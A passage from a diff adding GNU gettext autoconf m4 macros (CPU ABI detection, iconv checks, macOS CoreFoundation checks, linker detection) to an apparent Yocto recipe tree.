+ [[#if defined __LP64__ || defined __s390x__
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi=s390x],
+ [gl_cv_host_cpu_c_abi=s390])
+ ;;
+
+ sparc | sparc64 )
+ # UltraSPARCs running Linux have `uname -m` = "sparc64", but the
+ # C compiler still generates 32-bit code.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined __sparcv9 || defined __arch64__
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi=sparc64],
+ [gl_cv_host_cpu_c_abi=sparc])
+ ;;
+
+ *)
+ gl_cv_host_cpu_c_abi="$host_cpu"
+ ;;
+ esac
+ ])
+
+ dnl In most cases, $HOST_CPU and $HOST_CPU_C_ABI are the same.
+ HOST_CPU=`echo "$gl_cv_host_cpu_c_abi" | sed -e 's/-.*//'`
+ HOST_CPU_C_ABI="$gl_cv_host_cpu_c_abi"
+ AC_SUBST([HOST_CPU])
+ AC_SUBST([HOST_CPU_C_ABI])
+
+ # This was
+ # AC_DEFINE_UNQUOTED([__${HOST_CPU}__])
+ # AC_DEFINE_UNQUOTED([__${HOST_CPU_C_ABI}__])
+ # earlier, but KAI C++ 3.2d doesn't like this.
+ sed -e 's/-/_/g' >> confdefs.h <<EOF
+#ifndef __${HOST_CPU}__
+#define __${HOST_CPU}__ 1
+#endif
+#ifndef __${HOST_CPU_C_ABI}__
+#define __${HOST_CPU_C_ABI}__ 1
+#endif
+EOF
+ AH_TOP([/* CPU and C ABI indicator */
+#ifndef __i386__
+#undef __i386__
+#endif
+#ifndef __x86_64_x32__
+#undef __x86_64_x32__
+#endif
+#ifndef __x86_64__
+#undef __x86_64__
+#endif
+#ifndef __alpha__
+#undef __alpha__
+#endif
+#ifndef __arm__
+#undef __arm__
+#endif
+#ifndef __armhf__
+#undef __armhf__
+#endif
+#ifndef __arm64_ilp32__
+#undef __arm64_ilp32__
+#endif
+#ifndef __arm64__
+#undef __arm64__
+#endif
+#ifndef __hppa__
+#undef __hppa__
+#endif
+#ifndef __hppa64__
+#undef __hppa64__
+#endif
+#ifndef __ia64_ilp32__
+#undef __ia64_ilp32__
+#endif
+#ifndef __ia64__
+#undef __ia64__
+#endif
+#ifndef __m68k__
+#undef __m68k__
+#endif
+#ifndef __mips__
+#undef __mips__
+#endif
+#ifndef __mipsn32__
+#undef __mipsn32__
+#endif
+#ifndef __mips64__
+#undef __mips64__
+#endif
+#ifndef __powerpc__
+#undef __powerpc__
+#endif
+#ifndef __powerpc64__
+#undef __powerpc64__
+#endif
+#ifndef __powerpc64_elfv2__
+#undef __powerpc64_elfv2__
+#endif
+#ifndef __riscv32__
+#undef __riscv32__
+#endif
+#ifndef __riscv64__
+#undef __riscv64__
+#endif
+#ifndef __riscv32_ilp32__
+#undef __riscv32_ilp32__
+#endif
+#ifndef __riscv32_ilp32f__
+#undef __riscv32_ilp32f__
+#endif
+#ifndef __riscv32_ilp32d__
+#undef __riscv32_ilp32d__
+#endif
+#ifndef __riscv64_ilp32__
+#undef __riscv64_ilp32__
+#endif
+#ifndef __riscv64_ilp32f__
+#undef __riscv64_ilp32f__
+#endif
+#ifndef __riscv64_ilp32d__
+#undef __riscv64_ilp32d__
+#endif
+#ifndef __riscv64_lp64__
+#undef __riscv64_lp64__
+#endif
+#ifndef __riscv64_lp64f__
+#undef __riscv64_lp64f__
+#endif
+#ifndef __riscv64_lp64d__
+#undef __riscv64_lp64d__
+#endif
+#ifndef __s390__
+#undef __s390__
+#endif
+#ifndef __s390x__
+#undef __s390x__
+#endif
+#ifndef __sh__
+#undef __sh__
+#endif
+#ifndef __sparc__
+#undef __sparc__
+#endif
+#ifndef __sparc64__
+#undef __sparc64__
+#endif
+])
+
+])
+
+
+dnl Sets the HOST_CPU_C_ABI_32BIT variable to 'yes' if the C language ABI
+dnl (application binary interface) is a 32-bit one, to 'no' if it is a 64-bit
+dnl one, or to 'unknown' if unknown.
+dnl This is a simplified variant of gl_HOST_CPU_C_ABI.
+AC_DEFUN([gl_HOST_CPU_C_ABI_32BIT],
+[
+ AC_REQUIRE([AC_CANONICAL_HOST])
+ AC_CACHE_CHECK([32-bit host C ABI], [gl_cv_host_cpu_c_abi_32bit],
+ [if test -n "$gl_cv_host_cpu_c_abi"; then
+ case "$gl_cv_host_cpu_c_abi" in
+ i386 | x86_64-x32 | arm | armhf | arm64-ilp32 | hppa | ia64-ilp32 | mips | mipsn32 | powerpc | riscv*-ilp32* | s390 | sparc)
+ gl_cv_host_cpu_c_abi_32bit=yes ;;
+ x86_64 | alpha | arm64 | hppa64 | ia64 | mips64 | powerpc64 | powerpc64-elfv2 | riscv*-lp64* | s390x | sparc64 )
+ gl_cv_host_cpu_c_abi_32bit=no ;;
+ *)
+ gl_cv_host_cpu_c_abi_32bit=unknown ;;
+ esac
+ else
+ case "$host_cpu" in
+
+ # CPUs that only support a 32-bit ABI.
+ arc \
+ | bfin \
+ | cris* \
+ | csky \
+ | epiphany \
+ | ft32 \
+ | h8300 \
+ | m68k \
+ | microblaze | microblazeel \
+ | nds32 | nds32le | nds32be \
+ | nios2 | nios2eb | nios2el \
+ | or1k* \
+ | or32 \
+ | sh | sh[1234] | sh[1234]e[lb] \
+ | tic6x \
+ | xtensa* )
+ gl_cv_host_cpu_c_abi_32bit=yes
+ ;;
+
+ # CPUs that only support a 64-bit ABI.
+changequote(,)dnl
+ alpha | alphaev[4-8] | alphaev56 | alphapca5[67] | alphaev6[78] \
+ | mmix )
+changequote([,])dnl
+ gl_cv_host_cpu_c_abi_32bit=no
+ ;;
+
+changequote(,)dnl
+ i[34567]86 )
+changequote([,])dnl
+ gl_cv_host_cpu_c_abi_32bit=yes
+ ;;
+
+ x86_64 )
+ # On x86_64 systems, the C compiler may be generating code in one of
+ # these ABIs:
+ # - 64-bit instruction set, 64-bit pointers, 64-bit 'long': x86_64.
+ # - 64-bit instruction set, 64-bit pointers, 32-bit 'long': x86_64
+ # with native Windows (mingw, MSVC).
+ # - 64-bit instruction set, 32-bit pointers, 32-bit 'long': x86_64-x32.
+ # - 32-bit instruction set, 32-bit pointers, 32-bit 'long': i386.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if (defined __x86_64__ || defined __amd64__ \
+ || defined _M_X64 || defined _M_AMD64) \
+ && !(defined __ILP32__ || defined _ILP32)
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi_32bit=no],
+ [gl_cv_host_cpu_c_abi_32bit=yes])
+ ;;
+
+ arm* | aarch64 )
+ # Assume arm with EABI.
+ # On arm64 systems, the C compiler may be generating code in one of
+ # these ABIs:
+ # - aarch64 instruction set, 64-bit pointers, 64-bit 'long': arm64.
+ # - aarch64 instruction set, 32-bit pointers, 32-bit 'long': arm64-ilp32.
+ # - 32-bit instruction set, 32-bit pointers, 32-bit 'long': arm or armhf.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined __aarch64__ && !(defined __ILP32__ || defined _ILP32)
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi_32bit=no],
+ [gl_cv_host_cpu_c_abi_32bit=yes])
+ ;;
+
+ hppa1.0 | hppa1.1 | hppa2.0* | hppa64 )
+ # On hppa, the C compiler may be generating 32-bit code or 64-bit
+ # code. In the latter case, it defines _LP64 and __LP64__.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#ifdef __LP64__
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi_32bit=no],
+ [gl_cv_host_cpu_c_abi_32bit=yes])
+ ;;
+
+ ia64* )
+ # On ia64 on HP-UX, the C compiler may be generating 64-bit code or
+ # 32-bit code. In the latter case, it defines _ILP32.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#ifdef _ILP32
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi_32bit=yes],
+ [gl_cv_host_cpu_c_abi_32bit=no])
+ ;;
+
+ mips* )
+ # We should also check for (_MIPS_SZPTR == 64), but gcc keeps this
+ # at 32.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined _MIPS_SZLONG && (_MIPS_SZLONG == 64)
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi_32bit=no],
+ [gl_cv_host_cpu_c_abi_32bit=yes])
+ ;;
+
+ powerpc* )
+ # Different ABIs are in use on AIX vs. Mac OS X vs. Linux,*BSD.
+ # No need to distinguish them here; the caller may distinguish
+ # them based on the OS.
+ # On powerpc64 systems, the C compiler may still be generating
+ # 32-bit code. And on powerpc-ibm-aix systems, the C compiler may
+ # be generating 64-bit code.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined __powerpc64__ || defined _ARCH_PPC64
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi_32bit=no],
+ [gl_cv_host_cpu_c_abi_32bit=yes])
+ ;;
+
+ rs6000 )
+ gl_cv_host_cpu_c_abi_32bit=yes
+ ;;
+
+ riscv32 | riscv64 )
+ # There are 6 ABIs: ilp32, ilp32f, ilp32d, lp64, lp64f, lp64d.
+ # Size of 'long' and 'void *':
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined __LP64__
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi_32bit=no],
+ [gl_cv_host_cpu_c_abi_32bit=yes])
+ ;;
+
+ s390* )
+ # On s390x, the C compiler may be generating 64-bit (= s390x) code
+ # or 31-bit (= s390) code.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined __LP64__ || defined __s390x__
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi_32bit=no],
+ [gl_cv_host_cpu_c_abi_32bit=yes])
+ ;;
+
+ sparc | sparc64 )
+ # UltraSPARCs running Linux have `uname -m` = "sparc64", but the
+ # C compiler still generates 32-bit code.
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined __sparcv9 || defined __arch64__
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [gl_cv_host_cpu_c_abi_32bit=no],
+ [gl_cv_host_cpu_c_abi_32bit=yes])
+ ;;
+
+ *)
+ gl_cv_host_cpu_c_abi_32bit=unknown
+ ;;
+ esac
+ fi
+ ])
+
+ HOST_CPU_C_ABI_32BIT="$gl_cv_host_cpu_c_abi_32bit"
+])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/iconv.m4 b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/iconv.m4
new file mode 100644
index 0000000000..e593b7270a
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/iconv.m4
@@ -0,0 +1,288 @@
+# iconv.m4 serial 21
+dnl Copyright (C) 2000-2002, 2007-2014, 2016-2020 Free Software Foundation,
+dnl Inc.
+dnl This file is free software; the Free Software Foundation
+dnl gives unlimited permission to copy and/or distribute it,
+dnl with or without modifications, as long as this notice is preserved.
+
+dnl From Bruno Haible.
+
+AC_DEFUN([AM_ICONV_LINKFLAGS_BODY],
+[
+ dnl Prerequisites of AC_LIB_LINKFLAGS_BODY.
+ AC_REQUIRE([AC_LIB_PREPARE_PREFIX])
+ AC_REQUIRE([AC_LIB_RPATH])
+
+ dnl Search for libiconv and define LIBICONV, LTLIBICONV and INCICONV
+ dnl accordingly.
+ AC_LIB_LINKFLAGS_BODY([iconv])
+])
+
+AC_DEFUN([AM_ICONV_LINK],
+[
+ dnl Some systems have iconv in libc, some have it in libiconv (OSF/1 and
+ dnl those with the standalone portable GNU libiconv installed).
+ AC_REQUIRE([AC_CANONICAL_HOST]) dnl for cross-compiles
+
+ dnl Search for libiconv and define LIBICONV, LTLIBICONV and INCICONV
+ dnl accordingly.
+ AC_REQUIRE([AM_ICONV_LINKFLAGS_BODY])
+
+ dnl Add $INCICONV to CPPFLAGS before performing the following checks,
+ dnl because if the user has installed libiconv and not disabled its use
+ dnl via --without-libiconv-prefix, he wants to use it. The first
+ dnl AC_LINK_IFELSE will then fail, the second AC_LINK_IFELSE will succeed.
+ am_save_CPPFLAGS="$CPPFLAGS"
+ AC_LIB_APPENDTOVAR([CPPFLAGS], [$INCICONV])
+
+ AC_CACHE_CHECK([for iconv], [am_cv_func_iconv], [
+ am_cv_func_iconv="no, consider installing GNU libiconv"
+ am_cv_lib_iconv=no
+ AC_LINK_IFELSE(
+ [AC_LANG_PROGRAM(
+ [[
+#include <stdlib.h>
+#include <iconv.h>
+ ]],
+ [[iconv_t cd = iconv_open("","");
+ iconv(cd,NULL,NULL,NULL,NULL);
+ iconv_close(cd);]])],
+ [am_cv_func_iconv=yes])
+ if test "$am_cv_func_iconv" != yes; then
+ am_save_LIBS="$LIBS"
+ LIBS="$LIBS $LIBICONV"
+ AC_LINK_IFELSE(
+ [AC_LANG_PROGRAM(
+ [[
+#include <stdlib.h>
+#include <iconv.h>
+ ]],
+ [[iconv_t cd = iconv_open("","");
+ iconv(cd,NULL,NULL,NULL,NULL);
+ iconv_close(cd);]])],
+ [am_cv_lib_iconv=yes]
+ [am_cv_func_iconv=yes])
+ LIBS="$am_save_LIBS"
+ fi
+ ])
+ if test "$am_cv_func_iconv" = yes; then
+ AC_CACHE_CHECK([for working iconv], [am_cv_func_iconv_works], [
+ dnl This tests against bugs in AIX 5.1, AIX 6.1..7.1, HP-UX 11.11,
+ dnl Solaris 10.
+ am_save_LIBS="$LIBS"
+ if test $am_cv_lib_iconv = yes; then
+ LIBS="$LIBS $LIBICONV"
+ fi
+ am_cv_func_iconv_works=no
+ for ac_iconv_const in '' 'const'; do
+ AC_RUN_IFELSE(
+ [AC_LANG_PROGRAM(
+ [[
+#include <iconv.h>
+#include <string.h>
+
+#ifndef ICONV_CONST
+# define ICONV_CONST $ac_iconv_const
+#endif
+ ]],
+ [[int result = 0;
+ /* Test against AIX 5.1 bug: Failures are not distinguishable from successful
+ returns. */
+ {
+ iconv_t cd_utf8_to_88591 = iconv_open ("ISO8859-1", "UTF-8");
+ if (cd_utf8_to_88591 != (iconv_t)(-1))
+ {
+ static ICONV_CONST char input[] = "\342\202\254"; /* EURO SIGN */
+ char buf[10];
+ ICONV_CONST char *inptr = input;
+ size_t inbytesleft = strlen (input);
+ char *outptr = buf;
+ size_t outbytesleft = sizeof (buf);
+ size_t res = iconv (cd_utf8_to_88591,
+ &inptr, &inbytesleft,
+ &outptr, &outbytesleft);
+ if (res == 0)
+ result |= 1;
+ iconv_close (cd_utf8_to_88591);
+ }
+ }
+ /* Test against Solaris 10 bug: Failures are not distinguishable from
+ successful returns. */
+ {
+ iconv_t cd_ascii_to_88591 = iconv_open ("ISO8859-1", "646");
+ if (cd_ascii_to_88591 != (iconv_t)(-1))
+ {
+ static ICONV_CONST char input[] = "\263";
+ char buf[10];
+ ICONV_CONST char *inptr = input;
+ size_t inbytesleft = strlen (input);
+ char *outptr = buf;
+ size_t outbytesleft = sizeof (buf);
+ size_t res = iconv (cd_ascii_to_88591,
+ &inptr, &inbytesleft,
+ &outptr, &outbytesleft);
+ if (res == 0)
+ result |= 2;
+ iconv_close (cd_ascii_to_88591);
+ }
+ }
+ /* Test against AIX 6.1..7.1 bug: Buffer overrun. */
+ {
+ iconv_t cd_88591_to_utf8 = iconv_open ("UTF-8", "ISO-8859-1");
+ if (cd_88591_to_utf8 != (iconv_t)(-1))
+ {
+ static ICONV_CONST char input[] = "\304";
+ static char buf[2] = { (char)0xDE, (char)0xAD };
+ ICONV_CONST char *inptr = input;
+ size_t inbytesleft = 1;
+ char *outptr = buf;
+ size_t outbytesleft = 1;
+ size_t res = iconv (cd_88591_to_utf8,
+ &inptr, &inbytesleft,
+ &outptr, &outbytesleft);
+ if (res != (size_t)(-1) || outptr - buf > 1 || buf[1] != (char)0xAD)
+ result |= 4;
+ iconv_close (cd_88591_to_utf8);
+ }
+ }
+#if 0 /* This bug could be worked around by the caller. */
+ /* Test against HP-UX 11.11 bug: Positive return value instead of 0. */
+ {
+ iconv_t cd_88591_to_utf8 = iconv_open ("utf8", "iso88591");
+ if (cd_88591_to_utf8 != (iconv_t)(-1))
+ {
+ static ICONV_CONST char input[] = "\304rger mit b\366sen B\374bchen ohne Augenma\337";
+ char buf[50];
+ ICONV_CONST char *inptr = input;
+ size_t inbytesleft = strlen (input);
+ char *outptr = buf;
+ size_t outbytesleft = sizeof (buf);
+ size_t res = iconv (cd_88591_to_utf8,
+ &inptr, &inbytesleft,
+ &outptr, &outbytesleft);
+ if ((int)res > 0)
+ result |= 8;
+ iconv_close (cd_88591_to_utf8);
+ }
+ }
+#endif
+ /* Test against HP-UX 11.11 bug: No converter from EUC-JP to UTF-8 is
+ provided. */
+ {
+ /* Try standardized names. */
+ iconv_t cd1 = iconv_open ("UTF-8", "EUC-JP");
+ /* Try IRIX, OSF/1 names. */
+ iconv_t cd2 = iconv_open ("UTF-8", "eucJP");
+ /* Try AIX names. */
+ iconv_t cd3 = iconv_open ("UTF-8", "IBM-eucJP");
+ /* Try HP-UX names. */
+ iconv_t cd4 = iconv_open ("utf8", "eucJP");
+ if (cd1 == (iconv_t)(-1) && cd2 == (iconv_t)(-1)
+ && cd3 == (iconv_t)(-1) && cd4 == (iconv_t)(-1))
+ result |= 16;
+ if (cd1 != (iconv_t)(-1))
+ iconv_close (cd1);
+ if (cd2 != (iconv_t)(-1))
+ iconv_close (cd2);
+ if (cd3 != (iconv_t)(-1))
+ iconv_close (cd3);
+ if (cd4 != (iconv_t)(-1))
+ iconv_close (cd4);
+ }
+ return result;
+]])],
+ [am_cv_func_iconv_works=yes], ,
+ [case "$host_os" in
+ aix* | hpux*) am_cv_func_iconv_works="guessing no" ;;
+ *) am_cv_func_iconv_works="guessing yes" ;;
+ esac])
+ test "$am_cv_func_iconv_works" = no || break
+ done
+ LIBS="$am_save_LIBS"
+ ])
+ case "$am_cv_func_iconv_works" in
+ *no) am_func_iconv=no am_cv_lib_iconv=no ;;
+ *) am_func_iconv=yes ;;
+ esac
+ else
+ am_func_iconv=no am_cv_lib_iconv=no
+ fi
+ if test "$am_func_iconv" = yes; then
+ AC_DEFINE([HAVE_ICONV], [1],
+ [Define if you have the iconv() function and it works.])
+ fi
+ if test "$am_cv_lib_iconv" = yes; then
+ AC_MSG_CHECKING([how to link with libiconv])
+ AC_MSG_RESULT([$LIBICONV])
+ else
+ dnl If $LIBICONV didn't lead to a usable library, we don't need $INCICONV
+ dnl either.
+ CPPFLAGS="$am_save_CPPFLAGS"
+ LIBICONV=
+ LTLIBICONV=
+ fi
+ AC_SUBST([LIBICONV])
+ AC_SUBST([LTLIBICONV])
+])
+
+dnl Define AM_ICONV using AC_DEFUN_ONCE for Autoconf >= 2.64, in order to
+dnl avoid warnings like
+dnl "warning: AC_REQUIRE: `AM_ICONV' was expanded before it was required".
+dnl This is tricky because of the way 'aclocal' is implemented:
+dnl - It requires defining an auxiliary macro whose name ends in AC_DEFUN.
+dnl Otherwise aclocal's initial scan pass would miss the macro definition.
+dnl - It requires a line break inside the AC_DEFUN_ONCE and AC_DEFUN expansions.
+dnl Otherwise aclocal would emit many "Use of uninitialized value $1"
+dnl warnings.
+m4_define([gl_iconv_AC_DEFUN],
+ m4_version_prereq([2.64],
+ [[AC_DEFUN_ONCE(
+ [$1], [$2])]],
+ [m4_ifdef([gl_00GNULIB],
+ [[AC_DEFUN_ONCE(
+ [$1], [$2])]],
+ [[AC_DEFUN(
+ [$1], [$2])]])]))
+gl_iconv_AC_DEFUN([AM_ICONV],
+[
+ AM_ICONV_LINK
+ if test "$am_cv_func_iconv" = yes; then
+ AC_MSG_CHECKING([for iconv declaration])
+ AC_CACHE_VAL([am_cv_proto_iconv], [
+ AC_COMPILE_IFELSE(
+ [AC_LANG_PROGRAM(
+ [[
+#include <stdlib.h>
+#include <iconv.h>
+extern
+#ifdef __cplusplus
+"C"
+#endif
+#if defined(__STDC__) || defined(_MSC_VER) || defined(__cplusplus)
+size_t iconv (iconv_t cd, char * *inbuf, size_t *inbytesleft, char * *outbuf, size_t *outbytesleft);
+#else
+size_t iconv();
+#endif
+ ]],
+ [[]])],
+ [am_cv_proto_iconv_arg1=""],
+ [am_cv_proto_iconv_arg1="const"])
+ am_cv_proto_iconv="extern size_t iconv (iconv_t cd, $am_cv_proto_iconv_arg1 char * *inbuf, size_t *inbytesleft, char * *outbuf, size_t *outbytesleft);"])
+ am_cv_proto_iconv=`echo "[$]am_cv_proto_iconv" | tr -s ' ' | sed -e 's/( /(/'`
+ AC_MSG_RESULT([
+ $am_cv_proto_iconv])
+ else
+ dnl When compiling GNU libiconv on a system that does not have iconv yet,
+ dnl pick the POSIX compliant declaration without 'const'.
+ am_cv_proto_iconv_arg1=""
+ fi
+ AC_DEFINE_UNQUOTED([ICONV_CONST], [$am_cv_proto_iconv_arg1],
+ [Define as const if the declaration of iconv() needs const.])
+ dnl Also substitute ICONV_CONST in the gnulib generated <iconv.h>.
+ m4_ifdef([gl_ICONV_H_DEFAULTS],
+ [AC_REQUIRE([gl_ICONV_H_DEFAULTS])
+ if test -n "$am_cv_proto_iconv_arg1"; then
+ ICONV_CONST="const"
+ fi
+ ])
+])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/intlmacosx.m4 b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/intlmacosx.m4
new file mode 100644
index 0000000000..ebd9937c1a
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/intlmacosx.m4
@@ -0,0 +1,65 @@
+# intlmacosx.m4 serial 8 (gettext-0.20.2)
+dnl Copyright (C) 2004-2014, 2016, 2019-2020 Free Software Foundation, Inc.
+dnl This file is free software; the Free Software Foundation
+dnl gives unlimited permission to copy and/or distribute it,
+dnl with or without modifications, as long as this notice is preserved.
+dnl
+dnl This file can be used in projects which are not available under
+dnl the GNU General Public License or the GNU Lesser General Public
+dnl License but which still want to provide support for the GNU gettext
+dnl functionality.
+dnl Please note that the actual code of the GNU gettext library is covered
+dnl by the GNU Lesser General Public License, and the rest of the GNU
+dnl gettext package is covered by the GNU General Public License.
+dnl They are *not* in the public domain.
+
+dnl Checks for special options needed on Mac OS X.
+dnl Defines INTL_MACOSX_LIBS.
+AC_DEFUN([gt_INTL_MACOSX],
+[
+ dnl Check for API introduced in Mac OS X 10.4.
+ AC_CACHE_CHECK([for CFPreferencesCopyAppValue],
+ [gt_cv_func_CFPreferencesCopyAppValue],
+ [gt_save_LIBS="$LIBS"
+ LIBS="$LIBS -Wl,-framework -Wl,CoreFoundation"
+ AC_LINK_IFELSE(
+ [AC_LANG_PROGRAM(
+ [[#include <CoreFoundation/CFPreferences.h>]],
+ [[CFPreferencesCopyAppValue(NULL, NULL)]])],
+ [gt_cv_func_CFPreferencesCopyAppValue=yes],
+ [gt_cv_func_CFPreferencesCopyAppValue=no])
+ LIBS="$gt_save_LIBS"])
+ if test $gt_cv_func_CFPreferencesCopyAppValue = yes; then
+ AC_DEFINE([HAVE_CFPREFERENCESCOPYAPPVALUE], [1],
+ [Define to 1 if you have the Mac OS X function CFPreferencesCopyAppValue in the CoreFoundation framework.])
+ fi
+ dnl Don't check for the API introduced in Mac OS X 10.5, CFLocaleCopyCurrent,
+ dnl because in macOS 10.13.4 it has the following behaviour:
+ dnl When two or more languages are specified in the
+ dnl "System Preferences > Language & Region > Preferred Languages" panel,
+ dnl it returns en_CC where CC is the territory (even when English is not among
+ dnl the preferred languages!). What we want instead is what
+ dnl CFLocaleCopyCurrent returned in earlier macOS releases and what
+ dnl CFPreferencesCopyAppValue still returns, namely ll_CC where ll is the
+ dnl first among the preferred languages and CC is the territory.
+ AC_CACHE_CHECK([for CFLocaleCopyPreferredLanguages], [gt_cv_func_CFLocaleCopyPreferredLanguages],
+ [gt_save_LIBS="$LIBS"
+ LIBS="$LIBS -Wl,-framework -Wl,CoreFoundation"
+ AC_LINK_IFELSE(
+ [AC_LANG_PROGRAM(
+ [[#include <CoreFoundation/CFLocale.h>]],
+ [[CFLocaleCopyPreferredLanguages();]])],
+ [gt_cv_func_CFLocaleCopyPreferredLanguages=yes],
+ [gt_cv_func_CFLocaleCopyPreferredLanguages=no])
+ LIBS="$gt_save_LIBS"])
+ if test $gt_cv_func_CFLocaleCopyPreferredLanguages = yes; then
+ AC_DEFINE([HAVE_CFLOCALECOPYPREFERREDLANGUAGES], [1],
+ [Define to 1 if you have the Mac OS X function CFLocaleCopyPreferredLanguages in the CoreFoundation framework.])
+ fi
+ INTL_MACOSX_LIBS=
+ if test $gt_cv_func_CFPreferencesCopyAppValue = yes \
+ || test $gt_cv_func_CFLocaleCopyPreferredLanguages = yes; then
+ INTL_MACOSX_LIBS="-Wl,-framework -Wl,CoreFoundation"
+ fi
+ AC_SUBST([INTL_MACOSX_LIBS])
+])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/lib-ld.m4 b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/lib-ld.m4
new file mode 100644
index 0000000000..98c348faff
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/lib-ld.m4
@@ -0,0 +1,168 @@
+# lib-ld.m4 serial 9
+dnl Copyright (C) 1996-2003, 2009-2020 Free Software Foundation, Inc.
+dnl This file is free software; the Free Software Foundation
+dnl gives unlimited permission to copy and/or distribute it,
+dnl with or without modifications, as long as this notice is preserved.
+
+dnl Subroutines of libtool.m4,
+dnl with replacements s/_*LT_PATH/AC_LIB_PROG/ and s/lt_/acl_/ to avoid
+dnl collision with libtool.m4.
+
+dnl From libtool-2.4. Sets the variable with_gnu_ld to yes or no.
+AC_DEFUN([AC_LIB_PROG_LD_GNU],
+[AC_CACHE_CHECK([if the linker ($LD) is GNU ld], [acl_cv_prog_gnu_ld],
+[# I'd rather use --version here, but apparently some GNU lds only accept -v.
+case `$LD -v 2>&1 </dev/null` in
+*GNU* | *'with BFD'*)
+ acl_cv_prog_gnu_ld=yes
+ ;;
+*)
+ acl_cv_prog_gnu_ld=no
+ ;;
+esac])
+with_gnu_ld=$acl_cv_prog_gnu_ld
+])
+
+dnl From libtool-2.4. Sets the variable LD.
+AC_DEFUN([AC_LIB_PROG_LD],
+[AC_REQUIRE([AC_PROG_CC])dnl
+AC_REQUIRE([AC_CANONICAL_HOST])dnl
+
+AC_ARG_WITH([gnu-ld],
+ [AS_HELP_STRING([--with-gnu-ld],
+ [assume the C compiler uses GNU ld [default=no]])],
+ [test "$withval" = no || with_gnu_ld=yes],
+ [with_gnu_ld=no])dnl
+
+# Prepare PATH_SEPARATOR.
+# The user is always right.
+if test "${PATH_SEPARATOR+set}" != set; then
+ # Determine PATH_SEPARATOR by trying to find /bin/sh in a PATH which
+ # contains only /bin. Note that ksh looks also at the FPATH variable,
+ # so we have to set that as well for the test.
+ PATH_SEPARATOR=:
+ (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \
+ && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \
+ || PATH_SEPARATOR=';'
+ }
+fi
+
+if test -n "$LD"; then
+ AC_MSG_CHECKING([for ld])
+elif test "$GCC" = yes; then
+ AC_MSG_CHECKING([for ld used by $CC])
+elif test "$with_gnu_ld" = yes; then
+ AC_MSG_CHECKING([for GNU ld])
+else
+ AC_MSG_CHECKING([for non-GNU ld])
+fi
+if test -n "$LD"; then
+ # Let the user override the test with a path.
+ :
+else
+ AC_CACHE_VAL([acl_cv_path_LD],
+ [
+ acl_cv_path_LD= # Final result of this test
+ ac_prog=ld # Program to search in $PATH
+ if test "$GCC" = yes; then
+ # Check if gcc -print-prog-name=ld gives a path.
+ case $host in
+ *-*-mingw*)
+ # gcc leaves a trailing carriage return which upsets mingw
+ acl_output=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;;
+ *)
+ acl_output=`($CC -print-prog-name=ld) 2>&5` ;;
+ esac
+ case $acl_output in
+ # Accept absolute paths.
+ [[\\/]]* | ?:[[\\/]]*)
+ re_direlt='/[[^/]][[^/]]*/\.\./'
+ # Canonicalize the pathname of ld
+ acl_output=`echo "$acl_output" | sed 's%\\\\%/%g'`
+ while echo "$acl_output" | grep "$re_direlt" > /dev/null 2>&1; do
+ acl_output=`echo $acl_output | sed "s%$re_direlt%/%"`
+ done
+ # Got the pathname. No search in PATH is needed.
+ acl_cv_path_LD="$acl_output"
+ ac_prog=
+ ;;
+ "")
+ # If it fails, then pretend we aren't using GCC.
+ ;;
+ *)
+ # If it is relative, then search for the first ld in PATH.
+ with_gnu_ld=unknown
+ ;;
+ esac
+ fi
+ if test -n "$ac_prog"; then
+ # Search for $ac_prog in $PATH.
+ acl_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
+ for ac_dir in $PATH; do
+ IFS="$acl_save_ifs"
+ test -z "$ac_dir" && ac_dir=.
+ if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then
+ acl_cv_path_LD="$ac_dir/$ac_prog"
+ # Check to see if the program is GNU ld. I'd rather use --version,
+ # but apparently some variants of GNU ld only accept -v.
+ # Break only if it was the GNU/non-GNU ld that we prefer.
+ case `"$acl_cv_path_LD" -v 2>&1 </dev/null` in
+ *GNU* | *'with BFD'*)
+ test "$with_gnu_ld" != no && break
+ ;;
+ *)
